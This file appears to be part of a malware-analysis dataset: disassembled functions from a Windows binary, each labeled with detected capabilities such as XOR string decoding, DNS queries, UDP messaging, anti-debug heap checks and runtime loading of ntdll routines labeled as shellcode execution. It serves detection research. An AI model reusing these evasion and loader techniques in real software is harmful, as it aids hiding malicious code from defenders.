joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005da80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x10100230]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov dword [ebp - 0x30], 0xb0016
mov dword [ebp - 0x34], 0x1c0078
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x32]
xor eax, ecx
mov dword [ebp - 0x2c], 0x80019
mov word [ebp - 0x1c], ax
mov eax, dword [ebp - 0x30]
xor eax, ecx
mov dword [ebp - 0x28], 0x560011
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 0x2e]
xor eax, ecx
mov dword [ebp - 0x24], 0x14001c
mov word [ebp - 0x18], ax
mov eax, dword [ebp - 0x2c]
xor eax, ecx
mov dword [ebp - 0x20], 0x14
mov word [ebp - 0x16], ax
mov eax, dword [ebp - 0x2a]
xor eax, ecx
mov word [ebp - 0x14], ax
mov eax, dword [ebp - 0x28]
xor eax, ecx
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 0x26]
xor eax, ecx
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x24]
xor eax, ecx
mov word [ebp - 0xe], ax
mov eax, dword [ebp - 0x22]
xor eax, ecx
mov word [ebp - 0xc], ax
mov eax, dword [ebp - 0x20]
xor eax, ecx
mov word [ebp - 0xa], ax
xor eax, eax
mov word [ebp - 8], ax
xor ebx, ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [ebp - 0x22], ebx
mov word [ebp - 0x1e], bx
xorps xmm0, xmm0
movups xmmword [ebp - 0x32], xmm0
test esi, esi
je 0x1005db9f
movaps xmm0, xmmword [0x100ebbf0]
xor eax, eax
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0x14163405
mov word [ebp - 0x50], 0x121f
mov byte [ebp - 0x4e], bl
nop dword [eax]
mov cl, byte [ebp + eax - 0x63]
xor cl, byte [ebp - 0x64]
mov byte [ebp + eax - 0x4d], cl
inc eax
cmp eax, 0x15
jb 0x1005db60
lea eax, [ebp - 0x4d]
mov byte [ebp - 0x38], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x53], ebx
xorps xmm0, xmm0
mov word [ebp - 0x4f], bx
movups xmmword [ebp - 0x63], xmm0
test eax, eax
je 0x1005db98
call eax
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.10091bd4
mov esp, ebp
pop ebp
ret
Function at 0x1005f1f0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d1dd0
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x10100230]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, dword [ebp + 8]
push ecx
mov dword [ebp - 0x64], 1
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x68], 0
push eax
push 0x48
push 1
push ebx
call dword [sym.imp.DNSAPI.dll_DnsQuery_A]
mov esi, dword [ebp - 0x68]
test esi, esi
je 0x1005f2ef
mov eax, 1
cmp ax, word [esi + 8]
jne 0x1005f2d9
mov eax, dword [esi + 0x18]
mov ebx, eax
mov ecx, dword [edi + 4]
mov edx, eax
shr edx, 0x10
mov dword [ebp - 0x70], edx
mov edx, eax
shr edx, 8
shr ebx, 0x18
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], edx
cmp ecx, dword [edi + 8]
je 0x1005f294
mov dword [ecx], eax
add dword [edi + 4], 4
jmp 0x1005f2a0
lea eax, [ebp - 0x6c]
push eax
push ecx
mov ecx, edi
call fcn.10026a60
push 0x30
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.100942c0
mov eax, dword [ebp - 0x70]
movzx eax, al
push ebx
push eax
mov eax, dword [ebp - 0x74]
movzx eax, al
push eax
mov eax, dword [ebp - 0x78]
movzx eax, al
push eax
lea eax, [ebp - 0x40]
push str._d._d._d._d
push eax
call fcn.10020390
add esp, 0x24
mov eax, 1
mov esi, dword [esi]
test esi, esi
jne 0x1005f260
push 1
push dword [ebp - 0x68]
call dword [sym.imp.DNSAPI.dll_DnsFree]
jmp 0x1005f3dd
push ecx
lea ecx, [ebp - 0x128]
call fcn.100045c0
mov dword [ebp - 4], 0
mov dl, 0x23
mov dword [ebp - 0x5c], 0x504d6723
mov dword [ebp - 0x58], 0x51465672
mov dword [ebp - 0x54], 0x19627c5a
mov byte [ebp - 0x50], 0
mov byte [ebp - 4], 1
xor ecx, ecx
mov al, byte [ebp + ecx - 0x5b]
xor al, dl
mov byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 0xb
jae 0x1005f338
mov dl, byte [ebp - 0x5c]
jmp 0x1005f323
lea edx, [ebp - 0x4f]
mov byte [ebp - 0x44], 0
lea ecx, [ebp - 0x118]
call fcn.10006770
mov edx, ebx
mov ecx, eax
call fcn.10006770
mov edx, str._err:
mov ecx, eax
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.1001e850
mov byte [ebp - 4], 0
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x128]
lea eax, [ebp - 0x5c]
push eax
call fcn.100044d0
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 0x10
jb 0x1005f395
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 3
call fcn.10003ef0
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x1005f3d2
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1005f3c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1005f3f9
push ecx
push edx
call fcn.10091f2c
add esp, 8
lea ecx, [ebp - 0x128]
call fcn.10004400
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10091bd4
mov esp, ebp
pop ebp
ret
call fcn.1009dddf
int3
Function at 0x100616f0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d2165
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10100230]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
lea eax, [ebx + 0x10]
mov dword [ebx], vtable.std::_Associated_state_struct_std::pair_unsigned_long_int__unsigned_long_int__.0
mov dword [ebx + 4], 1
push eax
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
call fcn.10091090
lea eax, [ebx + 0x18]
push 2
push eax
call fcn.1008edf6
lea eax, [ebx + 0x48]
push eax
call fcn.1009154e
mov byte [ebx + 0x70], 0
mov dword [ebx + 0x74], 0
mov word [ebx + 0x78], 0
mov byte [ebx + 0x7a], 0
mov dword [ebx + 0x7c], 0
mov dword [ebp - 4], 0
lea edi, [ebx + 0x80]
mov dword [ebx], vtable.std::_Packaged_state_struct_std::pair_unsigned_long_int__unsigned_long_int_____cdecl___void__.0
mov dword [ebp - 0x14], edi
mov dword [edi + 0x24], 0
push 0x38
mov byte [ebp - 4], 1
call fcn.10091be2
mov esi, dword [ebp + 8]
mov edx, eax
add esp, 0x14
lea ecx, [edx + 4]
mov dword [edx], 0x100eb550
push esi
call fcn.10022d50
mov eax, dword [esi + 0x30]
mov dword [ecx + 0x30], eax
mov eax, ebx
mov dword [edi + 0x24], edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10062310
Capabilities:
Convert ip address from string
Create udp socket
Encode data using xor
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x78
mov eax, dword [0x10100230]
xor eax, esp
mov dword [esp + 0x74], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0
push 2
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 0xc]
push 2
mov dword [esp + 0x20], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], eax
mov byte [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10062456
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x20], xmm0
push 0x35
mov word [esp + 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
movaps xmm0, xmmword [0x100ec000]
xor ecx, ecx
mov word [esp + 0x22], ax
movups xmmword [esp + 0x3c], xmm0
mov byte [esp + 0x4c], 0
nop word [eax + eax]
mov al, byte [esp + ecx + 0x3d]
xor al, byte [esp + 0x3c]
mov byte [esp + ecx + 0x4d], al
inc ecx
cmp ecx, 0xf
jb 0x10062390
lea eax, [esp + 0x24]
mov byte [esp + 0x5c], 0
push eax
lea eax, [esp + 0x51]
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [esp + 0x10]
push 4
push eax
push 0x1006
push 0xffff
push edi
mov dword [esp + 0x24], 0x7d0
call esi
push 4
lea eax, [esp + 0x14]
push eax
push 0x1005
push 0xffff
push edi
call esi
push 0x10
lea eax, [esp + 0x24]
push eax
push 0
push dword [esp + 0x20]
push dword [esp + 0x1c]
push edi
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x1006244f
mov esi, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x64]
mov dword [esp + 0x10], 0x10
push eax
push 0
push dword [esi]
xorps xmm0, xmm0
push dword [esp + 0x2c]
movaps xmmword [esp + 0x74], xmm0
push edi
call dword [sym.imp.WS2_32.dll_recvfrom]
mov ecx, dword [esp + 8]
test eax, eax
movzx ecx, cl
mov edx, 1
cmovg ecx, edx
mov dword [esi], eax
mov dword [esp + 8], ecx
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x7c]
mov al, byte [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.10091bd4
mov esp, ebp
pop ebp
ret
Function at 0x10062470
Capabilities:
Resolve dns

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d22f5
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x10100230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x34], eax
push 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push ecx
push 0
push 0x10
push edx
push eax
call dword [sym.imp.DNSAPI.dll_DnsQuery_W]
test eax, eax
jne 0x10062610
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x10062607
nop
cmp word [eax + 8], 1
mov edi, dword [eax]
jne 0x100625fa
cmp dword [0x1010835c], 0
mov esi, dword [eax + 0x18]
je 0x100625fa
mov eax, dword [ebp - 0x34]
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea edx, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10062520
sub eax, edx
lea ecx, [ebp - 0x2c]
sar eax, 1
push eax
push dword [ebp - 0x34]
call fcn.10017970
push ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x38], esi
call fcn.10010210
add esp, 4
mov byte [ebp - 4], 1
mov ecx, dword [0x1010835c]
test ecx, ecx
je 0x1006262e
mov eax, dword [ecx]
lea edx, [ebp - 0x50]
push edx
lea edx, [ebp - 0x38]
push edx
call dword [eax + 8]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x100625ab
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100625a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10062633
push ecx
push edx
call fcn.10091f2c
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 8
jb 0x100625fa
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100625f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10062633
push ecx
push edx
call fcn.10091f2c
add esp, 8
mov eax, edi
test edi, edi
jne 0x100624e0
mov eax, dword [ebp - 0x30]
push 1
push eax
call dword [sym.imp.DNSAPI.dll_DnsFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10091bd4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1008eb10
call fcn.1009dddf
int3
Function at 0x10062df0
Capabilities:
Convert ip address from string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
cmp dword [eax + 0x14], 0x10
mov esi, ecx
jb 0x10062e0f
mov eax, dword [eax]
lea ecx, [ebp - 8]
push ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x10062ee9
test byte [esi + 8], 1
je 0x10062ef2
mov edx, dword [esi + 0x28]
xor ebx, ebx
mov edi, dword [sym.imp.WS2_32.dll_ntohl]
nop dword [eax]
cmp edx, dword [esi + 0x14]
jg 0x10062e72
mov al, bl
mov ecx, 7
and al, 7
sub cl, al
mov eax, ebx
sar eax, 3
movzx eax, byte [ebp + eax - 8]
shr eax, cl
and eax, 1
lea ecx, [eax + edx*2]
mov eax, dword [esi + 0x34]
push dword [eax + ecx*4]
call edi
inc ebx
mov edx, eax
cmp ebx, 0x20
jl 0x10062e40
mov eax, dword [esi + 0x14]
cmp edx, eax
jle 0x10062ee0
lea edi, [eax*8]
sub edi, eax
add edi, edx
cmp edi, dword [esi + 0x2c]
jge 0x10062f07
mov edx, dword [esi + 0x34]
add edx, edi
movzx ecx, byte [edx]
movzx eax, byte [edx + 1]
shl ecx, 8
or eax, ecx
add eax, 2
add eax, edi
cmp eax, dword [esi + 0x30]
jg 0x10062f07
mov ebx, dword [ebp - 4]
add edx, 2
mov ecx, edx
xorps xmm0, xmm0
movups xmmword [ebx], xmm0
mov dword [ebx + 0x10], 0
lea esi, [ecx + 1]
mov dword [ebx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10062ec3
sub ecx, esi
push ecx
push edx
mov ecx, ebx
call fcn.1000ad50
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [ebp - 4], str.data_is_not_exists
jmp 0x10062f0e
mov dword [ebp - 4], str.Query_IP_Format_error.
jmp 0x10062f0e
push 0x100fd9f8
lea eax, [ebp - 4]
mov dword [ebp - 4], str.IPv4_not_support
push eax
call fcn.10094254
mov dword [ebp - 4], str.database_error
push 0x100fd9f8
lea eax, [ebp - 4]
push eax
call fcn.10094254
int3
Function at 0x10065960
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [ebp + 8]
mov eax, 0x1fffffff
push ebx
mov ebx, ecx
bsr ecx, eax
push esi
push edi
mov edi, 1
mov dword [ebp - 0xc], ebx
mov eax, edi
shl eax, cl
cmp edx, eax
ja 0x10065abb
mov esi, dword [ebx + 4]
lea eax, [edx - 1]
or eax, edi
mov dword [ebp + 8], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
lea ecx, [ebx + 0xc]
lea eax, [edi + edi]
push eax
call fcn.10023f00
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x10065a8e
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
imul edx, edi, 0x1000193
mov edi, dword [ebx + 0x18]
and edi, edx
mov edx, dword [ebx + 0xc]
mov ebx, dword [edx + edi*8]
lea edx, [edx + edi*8]
mov dword [ebp - 4], edx
cmp ebx, esi
jne 0x10065a14
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x10065a81
mov edx, dword [edx + 4]
mov edi, dword [eax + 8]
cmp edi, dword [edx + 8]
jne 0x10065a4e
mov edx, dword [edx]
mov dword [ebp - 8], edx
cmp edx, eax
je 0x10065a46
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 8]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp + 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
jmp 0x10065a81
cmp ebx, edx
je 0x10065a5e
mov edx, dword [edx + 4]
cmp edi, dword [edx + 8]
je 0x10065a97
cmp ebx, edx
jne 0x10065a52
mov ebx, dword [eax + 4]
mov dword [ebp - 8], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 4]
mov dword [eax + 4], edi
mov dword [edx], eax
mov ebx, dword [ebp - 0xc]
mov eax, ecx
cmp ecx, esi
jne 0x100659c2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 8], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp + 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x10065a81
push str.invalid_hash_bucket_count
call fcn.1008eb2d
int3
Function at 0x1006c550
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d33a8
mov eax, dword fs:[0]
push eax
sub esp, 0x100
mov eax, dword [0x10100230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov eax, dword [0x10108118]
xor ebx, ebx
mov dword [ebp - 0x30], eax
lea eax, [esi + 0x10]
mov dword [ebp - 0x34], eax
cmp dword [eax], ebx
je 0x1006c716
cmp dword [ebp + 8], ebx
je 0x1006c716
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
je 0x1006c716
cmp dword [esi + 0x14], 0x10
jb 0x1006c5be
mov esi, dword [esi]
mov eax, dword [ebp + 8]
push str.LdrGetProcedureAddress
mov dword [ebp - 0x5c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov dword [ebp - 0x58], eax
call esi
push str.NtAllocateVirtualMemory
push edi
mov dword [ebp - 0x54], eax
call esi
push str.LdrLoadDll
push edi
mov dword [ebp - 0x50], eax
call esi
push str.RtlInitAnsiString
push edi
mov dword [ebp - 0x4c], eax
call esi
push str.RtlAnsiStringToUnicodeString
push edi
mov dword [ebp - 0x48], eax
call esi
push str.RtlFreeUnicodeString
push edi
mov dword [ebp - 0x44], eax
call esi
push 0x40
mov dword [ebp - 0x40], eax
call fcn.1009218c
add esp, 4
mov esi, eax
mov dword [ebp - 0x3c], esi
push 0x40
push 0
push esi
call fcn.100942c0
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x5c]
add esp, 0xc
mov dword [ebp - 0x38], eax
call fcn.1006bcf0
mov ecx, eax
mov eax, dword [0x1010811c]
test ecx, ecx
cmovne eax, esi
xor ebx, ebx
mov dword [0x1010811c], eax
test ecx, ecx
mov eax, dword [ebp - 0x34]
setne bl
cmp dword [eax], 0
jbe 0x1006c716
test ebx, ebx
jne 0x1006c716
push ecx
lea ecx, [ebp - 0x10c]
call fcn.100045c0
mov edx, str.Load_RemoteDll_Version
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0xfc]
call fcn.10006770
mov edx, 0x100eb1e0
mov ecx, eax
call fcn.10006770
mov edx, str._Error:
mov ecx, eax
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.1001e850
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x10c]
lea eax, [ebp - 0x2c]
push eax
call fcn.100044d0
mov byte [ebp - 4], 1
cmp dword [eax + 0x14], 0x10
jb 0x1006c6ce
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x1006c70b
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006c701
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006c734
push ecx
push edx
call fcn.10091f2c
add esp, 8
lea ecx, [ebp - 0x10c]
call fcn.10004400
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10091bd4
mov esp, ebp
pop ebp
ret
call fcn.1009dddf
int3
Function at 0x1006c790
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe0
mov eax, dword [0x10100230]
xor eax, esp
mov dword [esp + 0xdc], eax
push esi
push edi
mov edi, dword [ebp + 8]
call fcn.1006c090
push ecx
lea ecx, [esp + 0xc]
call fcn.100045c0
mov edx, str._TID:
lea ecx, [esp + 0x18]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001e850
mov edx, 0x100e846c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100ebaf0]
mov esi, eax
movups xmmword [esp + 0xbc], xmm0
mov dword [esp + 0xcc], 0x520607
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0xbd]
xor al, byte [esp + 0xbc]
mov byte [esp + ecx + 0xd0], al
inc ecx
cmp ecx, 0x12
jb 0x1006c810
lea edx, [esp + 0xd0]
mov byte [esp + 0xe2], 0
mov ecx, esi
call fcn.10006770
mov edx, 0x100eb1e0
mov ecx, eax
call fcn.10006770
call fcn.100037a0
mov esi, eax
lea ecx, [esp + 8]
lea eax, [esp + 0xbc]
push eax
call fcn.100044d0
cmp dword [eax + 0x14], 0x10
jb 0x1006c86d
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 2
call fcn.10003ef0
mov ecx, dword [esp + 0xd0]
cmp ecx, 0x10
jb 0x1006c8b6
mov edx, dword [esp + 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006c8ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006c931
push ecx
push edx
call fcn.10091f2c
add esp, 8
lea ecx, [esp + 8]
call fcn.10004400
mov eax, dword fs:[0x2c]
mov ecx, dword [0x101075c4]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10108968]
cmp eax, dword [ecx + 4]
jle 0x1006c910
push 0x10108968
call fcn.100920b6
add esp, 4
cmp dword [0x10108968], 0xffffffff
jne 0x1006c910
call fcn.10036a50
push 0x100d6570
call fcn.10091f17
add esp, 4
push 0x10108968
call fcn.1009206c
add esp, 4
push edi
mov ecx, 0x10108970
call fcn.10036c90
mov ecx, dword [esp + 0xe4]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.10091bd4
mov esp, ebp
pop ebp
ret
call fcn.1009dddf
int3
Function at 0x10089db0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d47f1
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x10100230]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], vtable.nfapi::EventQueue_class_nfapi::NFEvent_.0
push 0x18
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.10091be2
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [edi + 4], eax
lea esi, [edi + 0xc]
mov dword [ebp - 4], 0
push 0x20
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.10091be2
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
lea esi, [edi + 0x14]
mov byte [ebp - 4], 1
push 0x20
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.10091be2
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
lea esi, [edi + 0x1c]
mov byte [ebp - 4], 2
push 0x18
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.10091be2
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
lea esi, [edi + 0x24]
mov byte [ebp - 4], 3
push 0x18
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.10091be2
add esp, 0x14
mov dword [eax], eax
push 0
push 0
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
push 0
mov dword [esi], eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [edi + 0x2c], 0xffffffff
call esi
push 0
push 0
mov dword [edi + 0x2c], eax
push 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
push 0
mov dword [edi + 0x44], 0xffffffff
call esi
mov dword [edi + 0x44], eax
mov dword [edi + 0x48], 0xffffffff
push 0
push 0
push 1
push 0
call esi
lea ecx, [edi + 0x50]
mov dword [edi + 0x48], eax
xorps xmm0, xmm0
mov dword [edi + 0x34], 0
movups xmmword [ecx], xmm0
movq qword [ecx + 0x10], xmm0
call fcn.1008a5e0
mov dword [edi + 0x4c], 1
mov eax, edi
mov byte [edi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret